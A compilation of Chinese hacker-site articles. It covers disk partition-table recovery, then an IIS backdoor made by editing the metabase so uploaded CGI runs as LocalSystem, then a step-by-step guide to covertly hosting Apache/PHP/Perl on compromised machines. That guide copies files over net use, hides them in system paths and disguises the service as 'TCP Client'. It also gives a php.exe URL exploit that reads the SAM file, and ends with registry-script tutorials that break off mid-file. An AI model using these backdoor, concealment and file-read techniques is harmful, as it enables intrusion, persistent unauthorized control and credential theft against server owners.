功能：包含机器CMOS等信息（0000--0059）, 核对该信息并引导指定的系统文件, 如NTLDR等；
读取: 使用NORTON DISKEDIT, 在OBJECT菜单中选择DRIVE——>LOGICAL DISK-—DISK C,
然后, 在OBJECT菜单中选择BOOT RECORD即可读取, 并使用TOOLS菜单中的
WRITE OBJECT TO 选项存入指定文件备份;
写入: 使用NORTON DISKEDIT, 在OBJECT菜单中选择DRIVE——>FLOOPY DISK, 选择备份的DBR
文件, 然后使用TOOLS菜单中的WRITE OBJECT TO——>PHYSICAL SECTOR 选项写入011
(clindyer 0, side 1, sector 1);

详解:

000H--002H 3 BYTE的跳转指令(去启动程序, 跳到03EH)
003H--03DH BIOS参数区
03EH--19DH DOS启动程序
19EH--1E5H 开机字符串
1E6H--1FDH 文件名(IO.SYS, MSDOS.SYS)
1FEH--1FFH 结束标记(55AA)

硬盘分区表（DPT）
---------------------
偏移地址 字节数 含义分析

01BE 1 分区类型：00表示非活动分区：80表示活动分区；其他为无效分区。

01BF~01C1 3 *分区的起始地址（面/扇区/磁道），通常第一分区的起始地址开始
于1面0道1扇区，因此这三个字节应为010100

01C2 1 #分区的操作系统的类型。

01C3~01C5 3 *该分区的结束地址（面/扇/道）

01C6~01C9 4 该分区起始逻辑扇区

01CA~01CD 4 该分区占用的总扇区数

注释: * 注意分区的起始地址（面/扇区/磁道）和结束地址（面/扇/道）中字节分配:

00000000 01000001 00010101
~~~~~~~~ ==^^^^^^ ========

~ 面(磁头) 8 位
^ 扇区 6 位
= 磁道 10 位

# 分区的操作系统类型(文件格式标志码)

4---DOS FAT16<32M
5---EXTEND
6---DOS FAT16>32M
7---NTFS(OS/2)
83---LINUX>64M

DPT 总共64字节（01BE--01FD）, 如上所示每个分区占16个字节, 所以可以表示四个分区, 这也
就是为什么一个磁盘的主分区和扩展分区之和总共只能有四个的原因.

逻辑驱动器
-----------
扩展分区的信息位于以上所示的硬盘分区表（DPT）中, 而逻辑驱动器的信息则位于扩展分区的
起始扇区, 即该分区的起始地址（面/扇区/磁道）所对应的扇区, 该扇区中的信息与硬盘主引导
扇区的区别是不包含MBR, 而16字节的分区信息则表示的是逻辑驱动器的起始和结束地址等.

所以, 在磁盘仅含有一个主分区, 一个扩展分区(包含多个逻辑驱动器)的情况下, 即使由于病毒
或其他原因导致硬盘主引导扇区的数据丢失(包括DPT), 也可以通过逻辑驱动器的数据来恢复整个硬盘.

例如: 以下是一个硬盘的分区情况.

道 面 扇 道 面 扇 起始扇(逻辑) 结束扇 总共扇区
MBR 0 0 1 - - - - - -
C 0 1 1 276 239 63 63 4,188,239 4,188,177
扩 277 0 1 554 239 63 4,188,240 8,391,599 4,203,360
D 277 1 1 554 239 63 4,188,303 8,391,599 4,203,297

如果主分区表损坏, 则可以通过手工查找扩展分区表中所包含的逻辑驱动器数据, 在本例中就是D盘所对应的数据, 然后将其起始扇(逻辑)减去63就是所对应的扩展分区的起始扇(逻辑), 将其起始地址（面/扇区/磁道）改为0面就是扩展分区的起始地址. 然后通过扩展分区就可以得到主分区C的信息, 然后就可以使用FDISK/MBR命令和手工填写分区表恢复整个硬盘.

实际使用这种方法比较麻烦, 如果知道每个分区的大小, 则可以通过使用PQ MAGIC 5 将磁盘重新分区为原来大小(注意: 千万不能应用, 我们只是通过它来获得数据), 并查看INFO来获得以上
数据, 记录以后取消该分区操作, 然后使用NORTON DISK2000手工修改DPT表, 恢复整个硬盘.

该例所对应的分区表数据:

80 01
01 00 06 EF 7F 14 3F 00 00 00 11 E8 3F 00 00 00
41 15 05 EF BF 2A 50 E8 3F 00 60 23 40 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 AA

扩展分区表数据:
00 01
41 15 07 EF BF 2A 8F E8 3F 00 21 23 40 00

注意: 逻辑起始扇区和总共分区数是左边为低位, 如该例的扩展分区的起始地址为50 E8 3F 00转换十进制时要先变为00 3F E8 50, 总共占用分区数60 23 40 00要先变为00 40 23 60, 同理当手工填写该值时也要进行高低位转换.


永远的后门

IIS是比较流行的www服务器，设置不当漏洞就很多。入侵iis服务器后留下后门，以后就可以随时控制。一般的后门程序都是打开一个特殊的端口来监听，比如有nc,ntlm,rnc等等都是以一种类telnet的方式在服务器端监听远程的连接控制。不过一个比较防范严密的www站点（他们的管理员吃了苦头后）一般通过防火墙对端口进行限制，这样除了管理员开的端口外，其他端口就不能连接了。但是80端口是不可能关闭的（如果管理员没有吃错药）。那么我们可以通过在80端口留后门，来开启<b>永远的后门。

如果你对此有情趣，跟我来...........
当IIS启动CGI应用程序时，缺省用CreateProcessAsUser API来创建该CGI的新Process,该程序的安全上下文就由启动该CGI的用户决定。一般匿名用户都映射到IUSR_computername这个账号，当然可以由管理员改为其他的用户。或者由浏览器提供一个合法的用户。两者的用户的权限都是比较低，可能都属于guest组的成员。其实我们可以修改iis开启CGI的方式，来提高权限。我们来看iis主进程本身是运行在localsystem账号下的，所以我们就可以得到最高localsystem的权限。
入侵web服务器后，一般都可以绑定一个cmd到一个端口来远程控制该服务器。这时可以有GUI的远程控制，比如3389，或者类telnet text方式的控制，比如rnc。nc肯定是可以用的,其实这也足够了。
1. telnet到服务器

2. cscript.exe adsutil.vbs enum w3svc/1/root
KeyType : (STRING) "IIsWebVirtualDir"
AppRoot : (STRING) "/LM/W3SVC/1/ROOT"
AppFriendlyName : (STRING) "默认应用程序"
AppIsolated : (INTEGER) 2
AccessRead : (BOOLEAN) True
AccessWrite : (BOOLEAN) False
AccessExecute : (BOOLEAN) False
AccessScript : (BOOLEAN) True
AccessSource : (BOOLEAN) False
AccessNoRemoteRead : (BOOLEAN) False
AccessNoRemoteWrite : (BOOLEAN) False
AccessNoRemoteExecute : (BOOLEAN) False
AccessNoRemoteScript : (BOOLEAN) False
HttpErrors : (LIST) (32 Items)
"400,*,FILE,C:\WINNT\help\iisHelp\common\400.htm"
"401,1,FILE,C:\WINNT\help\iisHelp\common\401-1.htm"
"401,2,FILE,C:\WINNT\help\iisHelp\common\401-2.htm"
"401,3,FILE,C:\WINNT\help\iisHelp\common\401-3.htm"
"401,4,FILE,C:\WINNT\help\iisHelp\common\401-4.htm"
"401,5,FILE,C:\WINNT\help\iisHelp\common\401-5.htm"
"403,1,FILE,C:\WINNT\help\iisHelp\common\403-1.htm"
"403,2,FILE,C:\WINNT\help\iisHelp\common\403-2.htm"
"403,3,FILE,C:\WINNT\help\iisHelp\common\403-3.htm"
"403,4,FILE,C:\WINNT\help\iisHelp\common\403-4.htm"
"403,5,FILE,C:\WINNT\help\iisHelp\common\403-5.htm"
"403,6,FILE,C:\WINNT\help\iisHelp\common\403-6.htm"
"403,7,FILE,C:\WINNT\help\iisHelp\common\403-7.htm"
"403,8,FILE,C:\WINNT\help\iisHelp\common\403-8.htm"
"403,9,FILE,C:\WINNT\help\iisHelp\common\403-9.htm"
"403,10,FILE,C:\WINNT\help\iisHelp\common\403-10.htm"
"403,11,FILE,C:\WINNT\help\iisHelp\common\403-11.htm"
"403,12,FILE,C:\WINNT\help\iisHelp\common\403-12.htm"
"403,13,FILE,C:\WINNT\help\iisHelp\common\403-13.htm"
"403,15,FILE,C:\WINNT\help\iisHelp\common\403-15.htm"
"403,16,FILE,C:\WINNT\help\iisHelp\common\403-16.htm"
"403,17,FILE,C:\WINNT\help\iisHelp\common\403-17.htm"
"404,*,FILE,C:\WINNT\help\iisHelp\common\404b.htm"
"405,*,FILE,C:\WINNT\help\iisHelp\common\405.htm"
"406,*,FILE,C:\WINNT\help\iisHelp\common\406.htm"
"407,*,FILE,C:\WINNT\help\iisHelp\common\407.htm"
"412,*,FILE,C:\WINNT\help\iisHelp\common\412.htm"
"414,*,FILE,C:\WINNT\help\iisHelp\common\414.htm"
"500,12,FILE,C:\WINNT\help\iisHelp\common\500-12.htm"
"500,13,FILE,C:\WINNT\help\iisHelp\common\500-13.htm"
"500,15,FILE,C:\WINNT\help\iisHelp\common\500-15.htm"
"500,100,URL,/iisHelp/common/500-100.asp"

FrontPageWeb : (BOOLEAN) True
Path : (STRING) "c:\inetpub\wwwroot"
AccessFlags : (INTEGER) 513
[/w3svc/1/root/localstart.asp]
[/w3svc/1/root/_vti_pvt]
[/w3svc/1/root/_vti_log]
[/w3svc/1/root/_private]
[/w3svc/1/root/_vti_txt]
[/w3svc/1/root/_vti_script]
[/w3svc/1/root/_vti_cnf]
[/w3svc/1/root/_vti_bin]
不要告诉我你不知道上面的输出是什么！！！！
现在我们心里已经有底了，是不是！呵呵 管理员要倒霉了

3. mkdir c:\inetpub\wwwroot\dir1
4. cscript.exe mkwebdir.vbs -c MyComputer -w "Default Web Site" -v "Virtual Dir1","c:\inetpub\wwwroot\dir1"
这样就建好了一个虚目录：Virtual Dir1
你可以用 1 的命令看一下
5. 接下来要改变一下Virtual Dir1的属性为execute
cscript.exe adsutil.vbs set w3svc/1/root/Virtual Dir1/accesswrite "true" -s:<this server>
cscript.exe adsutil.vbs set w3svc/1/root/Virtual Dir1/accessexecute "true" -s:<this server>
现在你已经可以upload 内容到该目录，并且可以运行。你也可以把cmd.exe net.exe直接拷贝到虚拟目录的磁盘目录中。

6. 以下命令通过修改iis metabase 来迫使iis以本身的安全环境来创建新的CGI process

Cscript adsutil.vbs set /w3svc/1/root/[your directory]/createprocessasuser false<br>

注释：cscript windows script host.<br>
adsutil.vbs windows iis administration script<br>
后面是 iis metabase path<br>

这样的后门几乎是无法查出来的，除非把所有的虚目录察看一遍（如果管理员写好了遗书，那他就去查吧）


永远飞翔的阿帕奇

此文献给穷苦的虫虫们

肉鸡这个字对你并不陌生，(为什么叫这个？我一直都没明白？)
你都那它们做些什么?有没有想过
在肉鸡上做个网站,cs服务器(哎``````````暴头，永远的噩梦).
我想肯定是有人这样干过的,可就是没找到相关的文章,可能是我太
孤喽寡文的原因,反正,我是没看到过的.我就把我的经验那出来于大家分享,本人也是一只菜菜，不要笑偶也~！
下面说说具体的过程:
首先你得有台win2k(其实win98也可以，只是难了点)的肉鸡,版本是什么,并不重要,还有就是它的ip得是固定不变的,
,要不就是它有自己的域名,要是有的话,你就偷着乐吧.最重要的一点,就是它的管理员特X,
要不,你放那么多的东西,开了新的端口，他(她)能不发现吗?^_^
哎呀，废话说了那么多，不要打我哈，这个不是小弟的强项。
GO!
首先,你需要如下建站的工具:
apache_1.3.24-win32-x86-no_src.exe(web服务器)
ActivePerl-5.6.1.628-MSWin32-x86-multi-thread.msi (perl解释器)
php-4.0.3-Win32.zip(php4解释器)
W2Kreskit中的一个小程序,instsrv.exe(行命令下,安装程序为一个服务的工具)
注：一样适用于win98
一.apache_1.3.24-win32-x86-no_src.exe
先在自己的机器上安装apache服务器。为什么要这样作，很简单的理由，这个东西是图形界面下的安装
如果在肉鸡是，必须要有图形终端服务，例如3389。如果是行命令环境的话，是不能安装的。所以先要在本机上加工以下。
在安装的时候，会要求你填写域的名称，域名，和管理员邮箱地址。可以先乱写，以后在也可以httpd.conf文件中直接填
肉鸡的ip。没有域名称的，填，机器名。没域名的，填肉鸡的ip，至于邮箱地址，随你了。
然后，next。注意一点的是，安装的时候最好路径选根目录。安装完成后，复制文件夹，在本机上模拟肉鸡路径，来调试好。
在apache里找到这个目录conf，里面三个配置文件httpd.conf,access.conf和srm.conf，来配置Apache服务器的各种参数。
新版本的apache，所有的设置都被放在了httpd.conf中，因此只需要调整这个文件中的设置。这个文件很长。
要仔细了。
第一部分。
1.搜索这个字串ServerType standalone
解释：
设置服务器的的启动方式:独立启动（standalone），还是借由互联网络伺服程序inetd来启动。
缺省值是使用独立启动（standalone）。windows不支持inetd启动。
用默认的。
2.ServerRoot "E:/Apache"
设置服务器目录，用来存放服务器的配置文件、错误文件、记录文件的目录，也就是安装目录啦。
注意:在目录的最后不能再加斜线"/" 。
改成：ServerRoot "D:/WINNT/java/trustlib/com/ms/mtx/mtl"
就是你以后要放到肉鸡上的路径。我选了d:/winnt/java这个目录。*^_^*
3.PidFile logs/httpd.pid
服务程序启动时，它把父程序 httpd 的程序码(process id)存往这个
log/httpd.pid 文件。这个文件名称可以配合 PidFile 指令加以改变.
默认。
4.

5.#ResourceConfig conf/srm.conf
#AccessConfig conf/access.conf
这两项看个人的喜好,如果您觉得httpd.conf文件太长,不好找到需要的东西。
那么您可以将所需的设置放在srm.conf中(它只有几行),然后在下面打开它:
下面的两个设置,在标准配置中是不打开的,我们可以打开它.
去除下一行前面的"#" , 启用srm.conf
用默认。
6.Timeout 300
服务器与客户端的最大等待时间
如果客户端在300秒还没有连上，或者服务器300秒还没有传送数据到客户端，就会自动断线.
用默认。
7.KeepAlive On
设置是否支持多次传输功能.缺省是支持，即http1.1。
用默认。
8.MaxKeepAliveRequests 100
设置多次传输的数目。数目越多则浪费的硬盘空间越多, 性能也越好。
设置为0则没有限制。
建议50。
9.KeepAliveTimeout 15
设置多次传输之间的时间。
如果连接上的某位使用者在15秒后还没有向服务器发出要求，服务器就断开连接。
默认。
10.MaxRequestsPerChild 0
设置同时间内子进程数目,为了安全,设置为零。
11.ThreadsPerChild 50
设置服务器使用进程的数目。
这是以服务器的响应速度为准的, 数目太大则会变慢.
默认。
12.#Listen 3000
#Listen 12.34.56.78:80
#允许使用另外的Port或IP地址访问服务器. 您可以打开它。
不打开，默认。
13.#BindAddress *
设置Apache监听的IP地址，
去掉“#”符号。即所以的地址或域名。
14.# Example:
# LoadModule foo_module modules/mod_foo.so
..........................................
..........................................
..........................................
打开当前未激活预定义的模块,很复杂，也不需要打开。
默认。
15.#ExtendedStatus On
设置服务器产生的状态信息。默认是关闭的。
不打开。
完。
其实就第二条要改。
第二部分。关键的来了。不要看的起瞌睡哈。
1.Port 80
设置服务器提供web服务所使用的端口。
要是肉鸡上开了iis，默认也是使用的80。会产生冲突。
所以，改成非80端口。Port 8080
以后你访问的的方法是：http;//ip:8080
2.ServerAdmin a@a.a
设置服务器管理者的E-Mail地址.
随便写个符合电子邮件地址格式的邮箱就是了，当然，我也不反对你用真的。
3.ServerName 8888
服务器的主机名。是固定的IP地址，则不需要设置。乱写个。不过最好写ip。
要是有域名的，填上域名。
4.DocumentRoot "E:/Apache/htdocs"
设置服务器根目录位置。即服务器对外发布的超文本文档存放的路径。
改成这样 DocumentRoot "D:/WINNT/java/trustlib/com/ms/mtx/mtl/home"
然后把htdocs目录，及它以下的文件全给删了。在建立个home目录。
5.<Directory />
Options FollowSymLinks
AllowOverride None
</Directory>
设置/目录的指令
具体如下：
    Option：定义在目录内所能执行的操作。
            None表示只能浏览.
            FollowSymLinks允许页面连接到别处，
            ExecCGI允许执行CGI，
            MultiViews允许看动画或是听音乐之类的操作，
          Indexes允许服务器返回目录的格式化列表，
            Includes允许使用SSI。
    这些设置可以复选。All则可以做任何事，但不包括MultiViews。
AllowOverride：
             加None参数表示任何人都可以浏览该目录下的文件,但不会读取该文件。
          FileInfo 允许控制文件型态之指令的使用,
          AuthConfig 允许验认指令的使用，
            Indexes 允许控制目录索引之指令的使用,
            Limit 允许控制存取主机之指令的使用,
            Options 允许控制特定目录特色之指令的使用.
            设为 All 的话服务器将会允许所有的指令.
默认。
6.<Directory "E:/Apache/htdocs">
改成：<Directory "D:/WINNT/java/trustlib/com/ms/mtx/mtl/home">
7.Options Indexes FollowSymLinks MultiViews
这是默认的，我改成了:Options none
AllowOverride None
Order allow,deny
Allow from all
</Directory>
8.<IfModule mod_dir.c>
DirectoryIndex index.html
</IfModule>
定义首先显示的文件。
您可以这样更改 DirectoryIndex index.html index.htm mail.html mail.htm
9.AccessFileName .htaccess
定义每个目录访问控制文件的名称
默认。
10.#CacheNegotiatedDocs
定义代理服务器不要缓存你的页面. 默认不使用。
11.HostnameLookups Off
通常连接时，服务器仅仅可以得到客户机的IP地址，如果要想获得客户机的
主机名。默认是off，你可以打开。
HostnameLookups on
11.ErrorLog logs/error.log
将错误讯息记录到一个记录档去
加#，不需要。
12.LogLevel warn
设定要错误记录的类型，可以使用如下类型：debug, info, notice, warn, error, crit,
alert, emerg.
默认是warn
13.CustomLog logs/access.log common
加#。
14.ServerSignature On
客户请求的网页并不存在时，服务器将产生错误文档，
缺省情况下由于打开了 ServerSignature选项，错误文档的最后一行将包含服务器的名字、Apache的版本等信息。
改为：ServerSignature Off或是ServerSignature mail
15.Alias /manual/ "E:/Apache/htdocs/manual/"

<Directory "E:/Apache/htdocs/manual">
Options Indexes FollowSymlinks MultiViews
AllowOverride None
Order allow,deny
Allow from all
</Directory>
全部删除。
16.这个比较重要了。是设置cgi-bin目录。
ScriptAlias /cgi-bin/ "E:/Apache/cgi-bin/"
<Directory "E:/Apache/cgi-bin">
AllowOverride None
Options None
Order allow,deny
Allow from all
</Directory>
只改这两句：ScriptAlias /cgi-bin/ "D:/WINNT/java/trustlib/com/ms/mtx/mtl/home/cgi-bin/"
<Directory "D:/WINNT/java/trustlib/com/ms/mtx/mtl/home/cgi-bin">
17.然后跳一大段。找到这句：
#AddHandler cgi-script .cgi改成
AddHandler cgi-script .cgi .pl
18.#AddType text/html .shtml
#AddHandler server-parsed .shtml
去掉这两句的#的话，CGI程序就可以以SSI的方式运行。
完.
后面的一些主要是设置虚拟服务器。本人也是菜鸟，好多参数也没有详细的说明，如有错漏。欢迎指点。
我都写的晕了，累~~~~~~~~~~~~~！
save，ok
在本机上测试一下。
运行apache.exe，如果看到apache/1.3.24 (win32) runing..........
基本运行正常了。
否则，仔细检查httpd.conf文档。
手痛了............
一点补从：使用目录别名（Directory Aliases）
不必将所有的东西放到home目录中。为了能让Apache正确指到你想要的目录，编辑httpd.conf文件，
增加"Alias"指令。下面这样：
Alias /tool/ "d:/test/"
<Directory "d:/test">
Options Indexes
AllowOverride None
Order allow,deny
Allow from all
</Directory>
访问：http://ip:port/tool/
最后的"/"不能少。
做个htm文件，放到home目录下，
使用：http://ip:port。就因该可以看到了。
终于做好了，绿色版本的apache了。特点：copy即用，绿色环保，无如何副作用，精致小巧，携带方便。作成自解压文件啦。
二,ActivePerl-5.6.1.628-MSWin32-x86-multi-thread.msi
1.因为这个程序是个标准的win2k安装程序，所以只能在win2k下使用。一样是图形界面的安装。
所以，一样要制作一个copy即用的绿色版本。
安装很简单，只是安装的时候，安装到usr下。
大多数的cgi脚本第一行都是#!usr/bin/perl，即只向解释器的路径位置。
以后，只要在这样改就可以了
列如：#!/WINNT/java/trustlib/com/ms/mtx/usr/bin/perl
perl解释器和apache。最好放在同一个盘里。
这里，我把perl解释器放到了d:/WINNT/java/trustlib/com/ms/mtx
测试一下：把以下代码存为一个test.cgi

#!/WINNT/java/trustlib/com/ms/mtx/usr/bin/perl
print "Content-type: text/html\n\n";
print "<h1><center><font color=red>TEST!";
exit;
放到home\cgi-bin目录下
在配置apache的时候，已经设置好了cgi目录。
访问httP:\\ip:port\cgi-bin\test.cgi
因该可以看到红色字体的TEST。
然后把test.cgi的名字改成test.pl，也一样能看到。
现在服务器已经支持cgi脚本了。
三.php-4.0.3pl1-Win32.zip
php-4.0.3pl1-Win32.zip 解压缩到一个目录下：d:/WINNT/java/trustlib/com/ms/mtx/php4.0.3
最好使用版本号的目录名称，这样以后升级很方便。
找到php.ini-dist 文件，把这个改成php.ini。
然后又要修改httpd.conf。
找到，
ScriptAlias /cgi-bin/ "d:/WINNT/java/trustlib/com/ms/mtx/mtl/home/cgi/bin/"
<Directory "d:/WINNT/java/trustlib/com/ms/mtx/mtl/home/cgi/bin">
AllowOverride None
Options None
Order allow,deny
Allow from all
</Directory>
在它下面填加：

ScriptAlias /php/ "d:/WINNT/java/trustlib/com/ms/mtx/php4.0.3/"
<Directory "d:/WINNT/java/trustlib/com/ms/mtx/php4.0.3">
AllowOverride None
Options None
Order allow,deny
Allow from all
</Directory>

找到AddHandler cgi-script .cgi .pl
在它下面填加：
AddType application/x-httpd-php .php
AddType application/x-httpd-php-source .phps
Action application/x-httpd-php "/php/php.exe"

重新启动apache服务。
写个index.php，代码如下：
<?
phpinfo();
?>

测试：http://ip:prot/index.php
因该可以看到你的php版本号。
php4.0.3。
如果是使用php4.0.4。在win2k下可能有漏洞的产生。
以下是对这个漏洞的描述：
php.exe存在漏洞导致apacheserver暴露文件

在PHP的安装说明里面，如果在Windows环境下的Apache web server下安装
PHP.exe，安装到c:\。要求安装者在apache的"httpd.conf"配置文件中，插入以下行：

ScriptAlias /php/ "c:/php/"
AddType application/x-httpd-php .php
Action application/x-httpd-php "/php/php.exe"
这时，安全问题发生了。上述脚本将映射/php到web文件的根目录，当用户访问
"http://ip/php/"时，实际上是访问c:\php目录(必须输入/)。这
时web server将返回"Access Denied", 但是如果输入：
"http://pi/php/php.exe" ，看到返回的将是"No input file
specified"。这个错误是php.exe返回的。在这个设置下，可以通过以下方式发掘
安全漏洞：

Exploit 1:
可以阅读服务器上的任意文件，不限驱动器：
"http://ip/php/php.exe?c:\winnt\repair\sam"
PHP.EXE将解析sam文件并让用户下载
Exploit 2:
如果输入一个在php目录下存在的文件名，将返回web目录本地路径：
"http://ip/php/php4ts.dll"
将返回：
"couldn“t create child process: 22693: C:/php/php4ts.dll"
请自行测试。
四.下面是如何把这3个东西放上去的问题。
使用139，445。是比较省心的方法。
因为要复制的是文件夹，且要保留文件夹中，各子文件夹及文件的结构信息。就不能使用copy命令，只能使用xcopy了。
假设，作好apache的放在e:\mtl
用
net use \\ip\c$ "pass" /user:"username"
来建立连接。
xcopy e:\mtl \\ip\c$\winnt\java\trustlib\com\ms\mtx\mtl /e /h /k /i /z
xcopy e:\usr \\ip\c$\winnt\java\trustlib\com\ms\mtx\usr /e /h /k /i /z
xcopy e:\php4.0.3 \\ip\c$\winnt\java\trustlib\com\ms\mtx\php4.0.3 /e /h /k /i /z
实现复制。
注意一点的是：复制完成后，将会显示复制文件的数目。看看是否一样。
因为要传送大量的数据，最好选个好时间。网速要快，否则传送失败，也增加了被发现的可能性。
最好在肉鸡上。
五.apache安装成为系统的一个服务。
先telent上去，其实apache.exe个参数-i，使用apache.exe -i，就可以安装成为一个服务。但
在管理工具-服务-里，显示的服务名称是apache。太.......
使用instsrv.exe 来安装。当然你的先把这个程序放上来。
instsrv.exe "TCP Client" d:\winnt\java\trustlib\com\ms\mtx\mtl\apache.exe
安装成为了一个名字为“TCP Client”的服务。只是描述里...。改不到的啦。
net start "tcp client"
启动.....
五.一些免费bbs的安装。
Yuzi论坛3000既BBS3000 v4.13
bbs3000在iis下的话，就会有致命漏洞产生，在apache下，我自己试了试好象就没有，我也不知道的啦。
如果有那位高手知道，不要忘了小弟啊。
由于，perl解释器不能放在根目录下，不是不想，是很想，但是不能。
所以，要改bbs3000目录下所以的cgi文件的第一行，指向解释器位置。
#!/usr/bin/perl
默认是这样的，改成：
#!/winnt/java/trustlib/com/ms/mtx/usr/bin/perl
然后把bbs3000文件夹放到cgi目录，image文件夹放到非cgi目录，我放在了根目录。
然后就可以用自己机器里的ie来安装了。
http://ip:port/cgi-bin/bbs3000/install.cgi
正常的话，可以看到安装界面了。
注意的只有两个地方：
图片位置(URL)：http://54545/image
BBS3000位置(URL)：http://54545/cgi-bin/bbs3000
其中：54545是你在配置apache服务器的时候在httpd.conf中，ServerName 54545
所设置的名字，改成ip。最好配置的时候设成 ServerName ip。
图片位置(URL)：http://ip:port/image
BBS3000位置(URL)：http://ip:port/cgi-bin/bbs3000
然后，安提示做就可以了。
是你的bbs的访问地址：http://ip:port/cgi-bin/bbs3000/list.cgi
最好用久经考验，稳定点的肉鸡来做。
要不，你辛苦的劳动成果。就会..........

沉睡不醒 2002/05/05
写于，人生迷茫之时。
转载请保留作者信息。谢谢
qq：34845484
http://sss444.126.com


用脚本文件简单修改注册表

此文来自天极网

张良

    用.VBS脚本，也就是SCRIPT 脚本文件对注册表进行修改。如果您的爱机不支持VBSCRIPT，那么请您直接阅读第二部分。下面我通过一个例子自来解释脚本文件：

' Windows Script Host Sample Script

' You have a royalty-free right to use, modify, reproduce and distribute

' the Sample Application Files (and/or any modified version) in any way

' you find useful, provided that you agree that Microsoft has no warranty,

' obligations or liability for any Sample Application Files.

' ------------------------------------------------------------------------

'

' This sample demonstrates how to write/delete entries in the registry.

L_Welcome_MsgBox_Message_Text = "此脚本显示如何创建和删除注册表项。"

L_Welcome_MsgBox_Title_Text = "Windows Scripting Host 范例"

Call Welcome()

' ********************************************************************************

' *

' * Registry related methods.

' *

Dim WSHShell

Set WSHShell = WScript.CreateObject("WScript.Shell")

WSHShell.Popup "创建项 HKCU\MyRegKey 数值为 'Top level key'"

WSHShell.RegWrite "HKCU\MyRegKey\", "Top level key"

WSHShell.Popup "创建项 HKCU\MyRegKey\Entry 数值为 'Second level key'"

WSHShell.RegWrite "HKCU\MyRegKey\Entry\", "Second level key"

WSHShell.Popup "将数值项 HKCU\MyRegKey\Value 设为 REG_SZ 1"

WSHShell.RegWrite "HKCU\MyRegKey\Value", 1

WSHShell.Popup "将数值项 HKCU\MyRegKey\Entry 设为 REG_DWORD 2"

WSHShell.RegWrite "HKCU\MyRegKey\Entry", 2, "REG_DWORD"

WSHShell.Popup "将数值项 HKCU\MyRegKey\Entry\Value1 设为 REG_BINARY 3"

WSHShell.RegWrite "HKCU\MyRegKey\Entry\Value1", 3, "REG_BINARY"

WSHShell.Popup "删除 HKCU\MyRegKey\Entry\Value1 数值"

WSHShell.RegDelete "HKCU\MyRegKey\Entry\Value1"

WSHShell.Popup "删除 HKCU\MyRegKey\Entry 项"

WSHShell.RegDelete "HKCU\MyRegKey\Entry\"

WSHShell.Popup "删除 HKCU\MyRegKey 项"

WSHShell.RegDelete "HKCU\MyRegKey\"

' ********************************************************************************

' *

' * Welcome

' *

Sub Welcome()

Dim intDoIt

intDoIt = MsgBox(L_Welcome_MsgBox_Message_Text, _

vbOKCancel + vbInformation, _

L_Welcome_MsgBox_Title_Text )

If intDoIt = vbCancel Then

WScript.Quit

End If

End Sub

1.在上例中,单引号后面是注释.

2. L_Welcome_MsgBox_Message_Text = "此脚本显示如何创建和删除注册表项。"

L_Welcome_MsgBox_Title_Text = "Windows Scripting Host 范例"

这两句是提示.

3. 用 Set WSHShell = WScript.CreateObject("WScript.Shell"),定义一个对象WSHSHELL 为WScript.Shell,

4.WELCOME()是一个确认对话框.

5. WSHShell.Popup "创建项 HKCU\MyRegKey 数值为 'Top level key'" 是声明要修改的注册表项.

WSHShell.RegWrite "HKCU\MyRegKey\", "Top level key" 在HKCU下面创建MYREGKEY子键,读者也可以根据自己实际情况修改键名、指定路径。

6、REG_SZ为字符串,要用引号引起来,REG_DWORD 为0—2147483647之间整数,REG_BINARY与之范围相同。

7、需要注意的是，若结尾是“\”则创建一个主键（项），将其默认值设为逗号后面的值项，若结尾不是“\”，则在前一个“\”后面的项中建立所设立的VALUE，逗号后面为其值。

8、WSHShell.RegDelete与WSHShell.RegWrite大致相同，只是功能相反。

各位可以将上面文档复制，存为FILENAME.VBS，然后双击即可。

用INF 脚本修改注册表。同样我先举一个例子，然后做详细讲解。

[VERSION]

SIGNATURE=$CHICAGO$

[DEFAULTINSTALL]

ADDREG=MY.ADD.REG

DELREG=MY.DEL.REG

[MY.ADD.REG]

HKLM,SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\WINLOGON,AUTOADMINLOGON,0,”0”

HKCU,CONTROL PANEL\DESKTOP,SMOOTHSCROLL,1,01,00,00,00

HKCU,CONTROL PANEL\DESKTOP,SCREENSAVEUSEPASSWORD,1,00,00,00,00

[MY.DEL.REG]

HKCU,MYKEY

HKLM,SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\WINLOGON,DEFAULTUSERNAME

HKLM,SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\WINLOGON,DEFAULTUSERNAME

1.[VERSION] 是文件头。

SIGNATURE=$CHICAGO$ 是指针对WINDOWS（CHICAGO是WINDOWS95的内部名称）

要编辑注册表必须以这两句开头。

    2、[DEFAULTINSTALL]段指出INF文件包含的其他段，ADDREG 和DELREG是键，有特殊意义，他指出要添加或删除的注册表项段名

    3、WINDOWS98总是先处理DELREG段，后处理ADDREG段，这可能会对我们的应用有所帮助。

    [MY.ADD.REG]

    HKCU，MYKEY，MYVALUE，0，“STRING” 添加名为MYVALUE的字符串值项到键MYKEY下，其值设为STRING

    HKCU，MYKEY，MYVALUE，，STRING 添加名为MYVALUE的字符串值项到MYKEY，将其值设为STRING

    HKCU，MYKEY，MYVALUE，1，77，34，05，20添加名为MYVALUE的二进制值项到键MYKEY下，其值设为二进制值77，34，05，20

    HKCU,MYKEY,0,”DEFAULT VALUE” 设置键MYKEY的缺省值项为字符串DEFAULT VALUE

    HKCU,MYKEY,,”DEFAULT VALUE” 设置键MYKEY的缺省值项并将其值设为字符串DEFAULT VALUE

    HKCU,MYKEY 添加注册表键MYKEY但不设置其值

    [MY.DEL.REG]

    HKCU,MYKEY,MYVALUE 从键MYKEY 中删除值项MYVALUE

    HKCU,MYKEY 删除键MYKEY及其全部子键,即删除全部分支.

    下面是一个自动清除MRU记录的INF文件:

    CLEAN.INF

    [VERSION]

    SIGNATURE=$CHICAGO$

    [DEFAULTINSTALL]

    DELREG=DELTEGKEY

    [DELREGKEY]

    HKCU,”SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DOC FIND SPEC MRU”,

    HKCU, SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FINDCOMPUTERMRU,

    HKCU, SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\RECENTDOCS,

    HKCU, SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\RUNMRU

    清除MRU和WINDOWS\RENCENT 的批处理文件

    CLEAN.BAT

    @ECHO OFF

